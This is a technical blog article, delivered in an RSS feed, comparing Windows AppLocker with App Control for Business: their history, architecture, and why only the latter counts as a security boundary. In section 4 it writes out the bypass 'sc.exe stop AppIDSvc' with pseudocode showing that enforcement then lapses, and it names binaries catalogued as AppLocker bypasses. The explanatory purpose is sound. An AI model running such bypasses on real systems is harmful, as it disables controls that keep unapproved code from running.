<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: app-control</title><description>Posts tagged app-control.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:10 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/app-control/rss.xml" rel="self" type="application/rss+xml"/><item><title>AppLocker vs App Control for Business: Two Locks on the Same Door, and Why Windows Still Ships Both in 2026</title><link>https://paragmali.com/blog/applocker-vs-app-control-for-business-two-locks-on-the-same-/</link><guid isPermaLink="true">https://paragmali.com/blog/applocker-vs-app-control-for-business-two-locks-on-the-same-/</guid><description>Windows 11 24H2 ships two parallel application-control systems. One is operational hygiene; the other is the security boundary. The line between them is a single sentence in MSRC servicing criteria.</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>
Windows ships two application-control systems in parallel in 2026: **AppLocker**, a per-user policy evaluator that lives in the user-mode Application Identity service, and **App Control for Business** (still widely called WDAC), a kernel policy evaluator built into `ci.dll`. Microsoft itself states that AppLocker *&quot;doesn&apos;t meet the servicing criteria for being a security feature&quot;* while App Control was *designed* as one under the MSRC servicing criteria. That single sentence explains why both still ship. AppLocker handles per-user policy on devices that have no code-signing PKI. App Control, with a signed policy and HVCI on, is the only configuration that survives an admin-equivalent attacker. This article walks the architecture of each, the structural ceilings of both, the role of ISG and the Recommended Block Rules, and the five-question decision tree for picking between them in 2026.
&lt;h2&gt;1. Two Locks on the Same Door&lt;/h2&gt;
&lt;p&gt;Sit down on a Windows 11 24H2 device in 2026. Open &lt;code&gt;gpedit.msc&lt;/code&gt;. Navigate to Computer Configuration -&amp;gt; Windows Settings -&amp;gt; Security Settings, and you will find a node called &lt;strong&gt;AppLocker&lt;/strong&gt;, with five rule collections waiting to be populated. Now walk one branch over to Computer Configuration -&amp;gt; Administrative Templates -&amp;gt; System -&amp;gt; &lt;strong&gt;Device Guard&lt;/strong&gt;. That node, despite the obsolete name in the GPO tree, is where you author policy for what Microsoft now calls &lt;strong&gt;App Control for Business&lt;/strong&gt; [@ms-appcontrol-applocker-overview] -- the same kernel-enforced application-control engine that has been renamed twice since launch (Configurable Code Integrity in 2015, Windows Defender Application Control in 2017, App Control for Business in 2024) [@ms-blog-introducing-wdac-2017] but never replaced.&lt;/p&gt;
&lt;p&gt;Two completely separate policy nodes. Two completely separate deployment surfaces. Two completely separate enforcement architectures. Both shipping in the same SKU on the same device in 2026. Both documented as currently supported on Microsoft Learn [@ms-appcontrol-applocker-overview]. Which one is &quot;the right one&quot;? The honest answer turns out to be &lt;em&gt;neither, and both,&lt;/em&gt; and the reason is a single sentence on a single Microsoft Learn page that draws a line between &lt;em&gt;security feature&lt;/em&gt; and &lt;em&gt;operational hygiene control&lt;/em&gt; sharper than most practitioners realise.&lt;/p&gt;

A policy mechanism that decides, at process-launch or image-load time, whether a given binary, script, or installer is allowed to execute on a Windows device. An application-control policy is an enumerated set of allow rules (an allowlist), deny rules (a blocklist), or both. The decision is made by an OS-resident evaluator before the binary&apos;s main entry point runs.
&lt;p&gt;Microsoft&apos;s own &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; page makes the line explicit. AppLocker [@ms-appcontrol-applocker-overview], in Microsoft&apos;s own words, &lt;em&gt;&quot;helps to prevent end-users from running unapproved software on their computers but doesn&apos;t meet the servicing criteria for being a security feature.&quot;&lt;/em&gt; App Control for Business, in contrast, was &lt;em&gt;&quot;designed as a security feature under the servicing criteria, defined by the Microsoft Security Response Center&quot;&lt;/em&gt; [@ms-appcontrol-applocker-overview]. The &lt;a href=&quot;https://paragmali.com/blog/windows-security-boundaries-the-document-that-decides-what-g/&quot; rel=&quot;noopener&quot;&gt;MSRC servicing criteria&lt;/a&gt; are not marketing copy. They are the rule that decides whether a defect in a Windows feature gets a CVE [@msrc-servicing-criteria]. AppLocker bypasses do not get CVEs. App Control bypasses, with the right configuration, do.&lt;/p&gt;

flowchart LR
    Root[&quot;Computer Configuration&quot;]
    Sec[&quot;Windows Settings&quot;]
    Adm[&quot;Administrative Templates&quot;]
    SecSet[&quot;Security Settings&quot;]
    Sys[&quot;System&quot;]
    AL[&quot;AppLocker node&lt;br /&gt;(user-mode AppIDSvc)&quot;]
    DG[&quot;Device Guard node&lt;br /&gt;(kernel ci.dll / App Control for Business)&quot;]
    Root --&amp;gt; Sec
    Root --&amp;gt; Adm
    Sec --&amp;gt; SecSet
    SecSet --&amp;gt; AL
    Adm --&amp;gt; Sys
    Sys --&amp;gt; DG
&lt;p&gt;The rest of this article pays off that one sentence. The first half walks the architecture of each system at the level of &lt;em&gt;who evaluates what, where in the operating system, and against which attacker&lt;/em&gt;. The second half makes the practitioner decision tractable: which one to deploy in 2026, what to pair it with, and what no allowlist of any generation can do.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; AppLocker and App Control for Business are not two generations of the same product. They are two different products solving two different problems. AppLocker is an operational hygiene control whose enforcement Microsoft itself disclaims as a security boundary. App Control for Business, when its policy is signed by the deploying organisation and HVCI is on, &lt;strong&gt;is&lt;/strong&gt; the security boundary. Both still ship because neither is a strict superset of the other.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If both are shipping and both are recommended in different Microsoft Learn pages, what exactly does each one &lt;em&gt;do&lt;/em&gt;? And why is the line between them drawn in Microsoft&apos;s &lt;em&gt;servicing criteria&lt;/em&gt; rather than in its feature inventory? To answer that, we have to start before either product existed.&lt;/p&gt;
&lt;h2&gt;2. Pre-History -- Why an OS Needs Application Control at All&lt;/h2&gt;
&lt;p&gt;The 1999-2001 macro-virus and worm era -- &lt;em&gt;ILOVEYOU&lt;/em&gt; [@cert-ca-2000-04-iloveyou], &lt;em&gt;Code Red&lt;/em&gt; [@cert-ca-2001-19-codered], &lt;em&gt;Nimda&lt;/em&gt; [@cert-ca-2001-26-nimda] -- made it unsurvivable for Windows to trust any binary the user had &lt;code&gt;Execute&lt;/code&gt; permission on. The default behaviour of a Windows desktop in that era was: if the bits are on disk and the user can read them, they run. There was no per-binary policy gate. The OS-level answer Microsoft shipped in October 2001 was &lt;strong&gt;Software Restriction Policies&lt;/strong&gt;, an XP RTM feature documented at length the following year by John Lambert at Virus Bulletin 2002 [@vb2002-srp].&lt;/p&gt;

The user-mode Windows API (`WinSafer*`) that SRP used to evaluate a candidate executable against the configured rule set. The SAFER evaluator returned one of three security levels -- `Disallowed`, `Basic User`, or `Unrestricted` -- on each `CreateProcess`. The decision lived entirely in user mode, in the same address space as the loader, which is the architectural defect AppLocker partially inherited and App Control later corrected.
&lt;p&gt;SRP supported five rule conditions [@ms-applocker-what-is]: &lt;strong&gt;hash, certificate, path, Internet zone, and registry path&lt;/strong&gt;. Each condition tested a candidate file against an administrator-authored allow or deny rule, returning a SAFER security level that the user-mode evaluator honoured at &lt;code&gt;CreateProcess&lt;/code&gt;. The model was right: a per-machine GPO-administered policy evaluated against a defined file taxonomy.&lt;/p&gt;

The Microsoft code-signing format that binds a publisher identity (an X.509 certificate chain) to a PE binary via a cryptographic signature embedded in the binary&apos;s optional header. Authenticode is the *plumbing* every Windows application-control system uses to answer the question &quot;who published this binary?&quot; -- but it cannot answer &quot;what will this binary do once it runs?&quot;. Authenticode mechanics are out of scope here; the companion Authenticode article covers them in full.
&lt;p&gt;But SRP&apos;s &lt;em&gt;management surface&lt;/em&gt; was a series of footguns. There were no per-user rules. There was no audit-only mode -- you authored a rule and immediately enforced it. There was no PowerShell module; configuration was an MMC snap-in click path. And the Internet-Zone rule was structurally fragile: it depended on the &lt;code&gt;Zone.Identifier&lt;/code&gt; Alternate Data Stream, which exists only on NTFS and which any user can strip with &lt;code&gt;streams.exe -d&lt;/code&gt;.The &lt;code&gt;Zone.Identifier&lt;/code&gt; ADS is also silently stripped by FAT and exFAT copies, by many archive formats during extraction, and by any process that rewrites the file. SRP&apos;s zone rule was therefore reliable only against the most casual download paths -- exactly the threat model SRP claimed to address. The structural reason AppLocker dropped Internet Zone as a rule condition in 2009 starts here.&lt;/p&gt;
&lt;p&gt;SRP is genealogy, not subject matter, for the rest of this article. Microsoft never formally deprecated it, but practitioners abandoned it within a year of AppLocker&apos;s 2009 release, and Microsoft Learn now points anyone arriving at the SRP page toward AppLocker or App Control. The three operational defects -- no per-user, no audit, no PowerShell -- sketch the brief that the AppLocker team would inherit. What did Microsoft actually ship in 2009, and where did its designers draw the line between &lt;em&gt;manageability&lt;/em&gt; and &lt;em&gt;security&lt;/em&gt;?&lt;/p&gt;

flowchart TD
    SRP[&quot;2001 -- Software Restriction Policies&lt;br /&gt;(Windows XP RTM)&lt;br /&gt;user-mode SAFER API&quot;]
    AL[&quot;2009 -- AppLocker&lt;br /&gt;(Windows 7 / Server 2008 R2)&lt;br /&gt;user-mode AppIDSvc + AppID.sys minifilter&quot;]
    CCI[&quot;2015 -- Configurable Code Integrity&lt;br /&gt;(Windows 10 1507, under Device Guard umbrella)&lt;br /&gt;kernel ci.dll&quot;]
    WDAC[&quot;2017 -- Windows Defender Application Control&lt;br /&gt;(Windows 10 1709)&lt;br /&gt;same kernel ci.dll, new brand&quot;]
    ACfB[&quot;2024 -- App Control for Business&lt;br /&gt;(Windows 11 24H2 / Server 2025)&lt;br /&gt;same kernel ci.dll, third brand&quot;]
    Now[&quot;2026 -- both AppLocker and App Control for Business ship in the same SKU&quot;]
    SRP -- effectively orphaned --&amp;gt; AL
    AL -- peer mechanism added, not replaced --&amp;gt; CCI
    CCI -- renamed --&amp;gt; WDAC
    WDAC -- renamed --&amp;gt; ACfB
    AL -- still ships --&amp;gt; Now
    ACfB -- still ships --&amp;gt; Now
&lt;h2&gt;3. AppLocker (2009) -- The Architecture Microsoft Documents&lt;/h2&gt;
&lt;p&gt;October 22, 2009. AppLocker ships in Windows 7 Enterprise / Ultimate and in Windows Server 2008 R2 [@ms-lifecycle-windows7] [@ms-lifecycle-server-2008-r2]. What did Microsoft actually build, exactly as Microsoft Learn documents it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Five rule collections&lt;/strong&gt; [@ms-applocker-rules]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Executable&lt;/strong&gt; -- &lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DLL&lt;/strong&gt; -- &lt;code&gt;.dll&lt;/code&gt;, &lt;code&gt;.ocx&lt;/code&gt; (off by default; opt-in for performance reasons)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Script&lt;/strong&gt; -- &lt;code&gt;.ps1&lt;/code&gt;, &lt;code&gt;.vbs&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.cmd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Installer&lt;/strong&gt; -- &lt;code&gt;.msi&lt;/code&gt;, &lt;code&gt;.msp&lt;/code&gt;, &lt;code&gt;.mst&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packaged App&lt;/strong&gt; -- &lt;code&gt;.appx&lt;/code&gt;, &lt;code&gt;.msix&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The script collection&apos;s inclusion of &lt;code&gt;.bat&lt;/code&gt; and &lt;code&gt;.cmd&lt;/code&gt; is a coverage detail that survives into 2026 as one of the few capabilities AppLocker has and App Control does not [@ms-appcontrol-feature-availability]. Hold that thought; it returns in section 10.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Three rule conditions&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Publisher&lt;/strong&gt; -- the &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode&lt;/a&gt; subject name, product name, file name, and minimum file version. The load-bearing usability win over SRP: a single Publisher rule for &lt;em&gt;&quot;binaries signed by Microsoft Corporation with product &lt;code&gt;Office&lt;/code&gt;, version 16.0 or higher&quot;&lt;/em&gt; survives every patch the vendor ships.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path&lt;/strong&gt; -- with environment-variable and wildcard support (&lt;code&gt;%ProgramFiles%\Contoso\*.exe&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Hash&lt;/strong&gt; -- the SHA-256 of the binary. Stable but brittle; one update breaks the rule.&lt;/li&gt;
&lt;/ol&gt;

An AppLocker (or App Control) rule that allows or denies execution based on the Authenticode signer subject, the file&apos;s signed metadata (Original Filename, Product Name), and an optional minimum version. The publisher gate trusts the certificate authority&apos;s binding of signer name to private key; it does not evaluate what the signed code will do at runtime. The structural limit of any publisher-gate allowlist is that signed code can be made to load and execute attacker-controlled data -- this is what the Microsoft Recommended Block Rules in section 8 enumerate.
&lt;p&gt;AppLocker also added the three management capabilities SRP lacked: &lt;strong&gt;per-user / per-group rule assignment&lt;/strong&gt; via the AppLocker PowerShell module (&lt;code&gt;Get-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;Set-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;Test-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;New-AppLockerPolicy&lt;/code&gt;), &lt;strong&gt;audit-only mode&lt;/strong&gt; that logs would-be denials without enforcing them, and a real GPO editor experience under Security Settings. The per-user capability is still, in 2026, the operational reason AppLocker has not gone away [@ms-appcontrol-feature-availability]; we will return to that in section 11.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The architecture is the part most readers underestimate.&lt;/strong&gt; AppLocker is a &lt;em&gt;kernel-mode minifilter that asks a user-mode service for the verdict.&lt;/em&gt; Microsoft&apos;s &lt;em&gt;AppLocker Architecture and Components&lt;/em&gt; page documents the user-mode side at the service-and-callback level [@ms-applocker-architecture]: the &lt;em&gt;policy decision&lt;/em&gt; is deferred to the user-mode &lt;strong&gt;Application Identity service&lt;/strong&gt; (&lt;code&gt;AppIDSvc&lt;/code&gt;) running as &lt;code&gt;LocalService&lt;/code&gt;, which evaluates policy via &lt;code&gt;SeAccessCheckWithSecurityAttributes&lt;/code&gt; or &lt;code&gt;AuthzAccessCheck&lt;/code&gt; against the calling user&apos;s group memberships, with interception points at process create, DLL load, and script run. The kernel-side component is the &lt;code&gt;AppId.sys&lt;/code&gt; minifilter shipped in &lt;code&gt;%SystemRoot%\System32\drivers\&lt;/code&gt;; it issues the callbacks at process creation, optional DLL load, script-host invocation, MSI execution, and packaged-app activation, and the kernel honours the verdict the service returns.&lt;/p&gt;

The Windows service that evaluates AppLocker rules. Runs as `LocalService` under a service host process. The kernel minifilter `AppID.sys` collects the candidate file&apos;s metadata at the relevant lifecycle hook (process create, image load, script host start) and waits for `AppIDSvc` to return an access decision derived from the active AppLocker policy and the calling user&apos;s token. Stopping `AppIDSvc` stops AppLocker enforcement -- this is the architectural fact the next section turns on.

sequenceDiagram
    participant U as User
    participant K as Kernel (CreateProcess)
    participant Min as AppID.sys minifilter
    participant Svc as AppIDSvc (user mode)
    participant Pol as Active AppLocker policy
    U-&amp;gt;&amp;gt;K: CreateProcess foo.exe
    K-&amp;gt;&amp;gt;Min: process-create callback
    Min-&amp;gt;&amp;gt;Svc: query verdict for foo.exe and caller token
    Svc-&amp;gt;&amp;gt;Pol: AuthzAccessCheck against publisher / path / hash rules
    Pol--&amp;gt;&amp;gt;Svc: allow or deny
    Svc--&amp;gt;&amp;gt;Min: verdict
    Min--&amp;gt;&amp;gt;K: honour verdict
    K--&amp;gt;&amp;gt;U: process starts or STATUS_ACCESS_DENIED
&lt;p&gt;The five-by-three matrix below is the policy surface a practitioner authors against:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Collection / Condition&lt;/th&gt;
&lt;th&gt;Publisher&lt;/th&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;th&gt;File Hash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Executable (&lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.com&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DLL (&lt;code&gt;.dll&lt;/code&gt;, &lt;code&gt;.ocx&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Script (&lt;code&gt;.ps1&lt;/code&gt;, &lt;code&gt;.vbs&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.cmd&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows Installer (&lt;code&gt;.msi&lt;/code&gt;, &lt;code&gt;.msp&lt;/code&gt;, &lt;code&gt;.mst&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Packaged App (&lt;code&gt;.appx&lt;/code&gt;, &lt;code&gt;.msix&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes (publisher only)&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The DLL collection is off by default for a reason Microsoft Learn warns about plainly [@ms-applocker-rules]: &lt;em&gt;&quot;When DLL rules are used, AppLocker must check each DLL that an application loads. Therefore, users may experience a reduction in performance if DLL rules are used.&quot;&lt;/em&gt; That cost is paid for every load of every DLL by every running process; on a workstation that loads thousands of DLLs at boot it is observable in startup time. The Packaged App collection is publisher-only because the Universal Windows Platform packaging format always carries an Authenticode signature.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The most common misattribution in the AppLocker literature is the conflation of &lt;em&gt;AaronLocker&lt;/em&gt; with the AppLocker &lt;em&gt;bypass corpus&lt;/em&gt;. AaronLocker [@github-aaronlocker] is &lt;strong&gt;Aaron Margosis&apos;s deployment tool&lt;/strong&gt; -- a PowerShell-based generator that authors thorough audit and enforce policies. The canonical AppLocker &lt;em&gt;bypass&lt;/em&gt; catalogue is Oddvar Moe&apos;s &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne&apos;s &lt;code&gt;UltimateWDACBypassList&lt;/code&gt; [@github-ultimatewdacbypass]. Three different artefacts, three different authors, three different purposes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;AppLocker&apos;s design is admirable. It fixed every operational defect of SRP, it shipped per-user rules a decade before App Control&apos;s kernel evaluator caught up, and its PowerShell module is still the most ergonomic Windows application-control authoring surface in 2026. But notice one thing about that sequence diagram: the policy decision lives in a user-mode service. What happens to enforcement if the attacker is running as &lt;code&gt;SYSTEM&lt;/code&gt;?&lt;/p&gt;
&lt;h2&gt;4. AppLocker&apos;s Structural Limit -- Why It Was Never a Security Boundary&lt;/h2&gt;
&lt;p&gt;A single PowerShell line. &lt;code&gt;sc.exe stop AppIDSvc&lt;/code&gt; from a &lt;code&gt;LocalSystem&lt;/code&gt; context -- the canonical first-step bypass catalogued in &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass] and reproduced in Oddvar Moe&apos;s December 2017 case study [@oddvarmoe-applocker-case-study; @oddvarmoe-applocker-case-study-part2]. Enforcement degrades until the next reboot. Is that a &lt;em&gt;bug&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;It is not. It is the &lt;em&gt;design&lt;/em&gt;. And three converging pieces of evidence -- Microsoft&apos;s own words, the documented architecture, and the public bypass record -- agree on the scope.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Microsoft&apos;s own servicing-criteria language.&lt;/strong&gt; The &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; page says, verbatim [@ms-appcontrol-applocker-overview]: &lt;em&gt;&quot;AppLocker helps to prevent end-users from running unapproved software on their computers, but it doesn&apos;t meet the servicing criteria for being a security feature.&quot;&lt;/em&gt; The MSRC &lt;em&gt;Windows Security Servicing Criteria&lt;/em&gt; document [@msrc-servicing-criteria] is the rule the MSRC uses to decide whether a defect in a Windows feature qualifies for a CVE. Defects in a &lt;em&gt;security boundary&lt;/em&gt; receive CVEs and a coordinated patch. Defects in a &lt;em&gt;defense-in-depth&lt;/em&gt; feature may not -- they are documented and, when convenient, fixed, but Microsoft does not promise that every bypass will be treated as a vulnerability. AppLocker is the second category. App Control, when configured to qualify, is the first.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The user-mode &lt;code&gt;AppIDSvc&lt;/code&gt; architecture is the proximate reason.&lt;/strong&gt; Restate the section-3 diagram: the kernel minifilter &lt;code&gt;AppID.sys&lt;/code&gt; collects the file metadata, but the verdict is returned by &lt;code&gt;AppIDSvc&lt;/code&gt; running in user mode as &lt;code&gt;LocalService&lt;/code&gt;. Any process running as &lt;code&gt;LocalSystem&lt;/code&gt; or with administrator privilege can stop &lt;code&gt;AppIDSvc&lt;/code&gt;. Stopping the service does not just &lt;em&gt;bypass&lt;/em&gt; a rule; it removes the evaluator that the kernel was waiting for. The Microsoft Learn architecture page describes the evaluation surface explicitly [@ms-applocker-architecture]: &lt;em&gt;&quot;AppLocker policies are conditional access control entries (ACEs), and policies are evaluated by using the attribute-based access control SeAccessCheckWithSecurityAttributes or AuthzAccessCheck functions.&quot;&lt;/em&gt; &lt;code&gt;AuthzAccessCheck&lt;/code&gt; is a user-mode Authz API; the evaluation chain ends in a process that an admin can stop.&lt;/p&gt;

The MSRC servicing criteria classify Windows features into *security boundaries* (a violation produces a CVE, fixes are released on Patch Tuesday or out-of-band), *security features* designed against a defined threat model (violations may or may not get CVEs depending on the threat model), and *defense-in-depth* measures (no servicing commitment beyond best effort). AppLocker is explicitly placed in the third class on the *App Control and AppLocker Overview* page [@ms-appcontrol-applocker-overview]. App Control with a signed policy and HVCI on is treated as a security feature whose threat model includes an admin-equivalent attacker -- and that is the precise condition under which an App Control bypass is treated as a CVE-class defect.
&lt;p&gt;&lt;strong&gt;3. The published bypass corpora.&lt;/strong&gt; Oddvar Moe&apos;s &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass] catalogues &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, and a long list of others, each documented to bypass the &lt;em&gt;default&lt;/em&gt; AppLocker rule set without administrator privileges. Moe&apos;s December 2017 case study [@oddvarmoe-applocker-case-study] paired a defined test environment (Windows 10 1703 Enterprise with the default AppLocker rules applied and no third-party software) against a defined adversary capability (an unprivileged interactive user) and demonstrated fourteen distinct bypass techniques. That made &lt;em&gt;&quot;AppLocker is bypassable in practice without admin&quot;&lt;/em&gt; an empirical claim, not a theoretical one.&lt;/p&gt;
&lt;p&gt;And -- this is the part that closes the argument -- the &lt;strong&gt;Microsoft-org-hosted AaronLocker README&lt;/strong&gt; [@github-aaronlocker] states the same scope plainly: &lt;em&gt;&quot;AaronLocker does not try to stop administrative users from running anything they want -- and application control solutions cannot meaningfully restrict administrative actions anyway. A determined user with administrative rights can bypass any application control solution.&quot;&lt;/em&gt; The bypass community and the Microsoft-employee-maintained deployment baseline agree.&lt;/p&gt;
&lt;p&gt;This is the article&apos;s first reorientation. The convergence of the Microsoft servicing-criteria language, the kernel-defers-to-user-mode architecture, and the published bypass record is not three independent observations; it is one observation viewed from three angles. AppLocker is a hygiene control. The bypassability against an admin-equivalent attacker is a &lt;em&gt;scope statement&lt;/em&gt;, not a defect. The misconception that AppLocker was ever supposed to defend against an attacker with &lt;code&gt;SYSTEM&lt;/code&gt; lives in the reader, not in the product.&lt;/p&gt;
&lt;p&gt;The three pieces of evidence, tabulated:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Evidence&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;What it establishes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MSRC servicing-criteria language&lt;/td&gt;
&lt;td&gt;Microsoft Learn &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; [@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;td&gt;AppLocker is not a security feature under MSRC criteria&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User-mode &lt;code&gt;AppIDSvc&lt;/code&gt; architecture&lt;/td&gt;
&lt;td&gt;Microsoft Learn &lt;em&gt;AppLocker Architecture and Components&lt;/em&gt; [@ms-applocker-architecture]&lt;/td&gt;
&lt;td&gt;A &lt;code&gt;LocalSystem&lt;/code&gt; or admin attacker can stop the evaluator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public bypass corpora&lt;/td&gt;
&lt;td&gt;Oddvar Moe &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass]; Moe 2017 case study [@oddvarmoe-applocker-case-study]&lt;/td&gt;
&lt;td&gt;Demonstrated bypasses without admin against default rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-org-hosted deployment baseline&lt;/td&gt;
&lt;td&gt;AaronLocker README, Aaron Margosis [@github-aaronlocker]&lt;/td&gt;
&lt;td&gt;Microsoft-employee-maintained tool states the scope identically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;{`
// Pseudocode walk of what happens when an admin or LocalSystem process
// stops AppIDSvc. The actual demonstration requires admin on a Windows
// host; this is the logic the kernel minifilter follows.&lt;/p&gt;
&lt;p&gt;function onProcessCreate(candidateExe, callerToken) {
  const svc = queryService(&apos;AppIDSvc&apos;);
  if (svc.state !== &apos;Running&apos;) {
    // No evaluator. The minifilter cannot block on the verdict
    // because the verdict source is gone. Enforcement degrades.
    return ALLOW;
  }
  const verdict = svc.evaluate(candidateExe, callerToken);
  return verdict; // honoured by the kernel as ALLOW or DENY
}&lt;/p&gt;
&lt;p&gt;// After: sc.exe stop AppIDSvc  (requires admin / SYSTEM)
//   queryService(&apos;AppIDSvc&apos;).state === &apos;Stopped&apos;
//   onProcessCreate(...) returns ALLOW for every candidate
//   until AppIDSvc restarts (typically next reboot)
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; AppLocker prevents non-admin end users from running unapproved software. That is the entire mission statement, and Microsoft says it directly. It is not a &lt;em&gt;weakness&lt;/em&gt; of AppLocker that an attacker with administrative rights can bypass it; that is &lt;em&gt;outside the threat model the product was designed against&lt;/em&gt;. The right question to ask of AppLocker is not &quot;is it secure?&quot; but &quot;is the threat model it addresses the threat model I need to address?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If AppLocker cannot defend against an admin-equivalent attacker &lt;em&gt;by design&lt;/em&gt;, and that became obvious inside Microsoft by the early 2010s, the question is no longer &quot;why is AppLocker not enough?&quot; It is: &lt;em&gt;what would a Windows application-control system designed against an admin-equivalent attacker actually look like?&lt;/em&gt; Microsoft answered that question with Windows 10.&lt;/p&gt;
&lt;h2&gt;5. The Generational Pivot -- Configurable Code Integrity, WDAC, App Control for Business&lt;/h2&gt;
&lt;p&gt;With Windows 10, Microsoft introduces Device Guard. The framing in the official October 2017 retrospective is unusually candid for a Microsoft product communication: &lt;em&gt;&quot;With Windows 10 we introduced Windows Defender Device Guard&quot;&lt;/em&gt; -- and the new mechanism&apos;s &lt;em&gt;value proposition&lt;/em&gt;, the retrospective explains, is that its enforcement does not depend on a user-mode service an administrator can turn off [@ms-blog-introducing-wdac-2017]. Where AppLocker&apos;s &lt;code&gt;AppIDSvc&lt;/code&gt; evaluator can be stopped from a &lt;code&gt;LocalSystem&lt;/code&gt; shell, the new mechanism&apos;s evaluator lives in the kernel and validates its policy file cryptographically. Microsoft was not hiding what changed. Microsoft was announcing what changed.&lt;/p&gt;
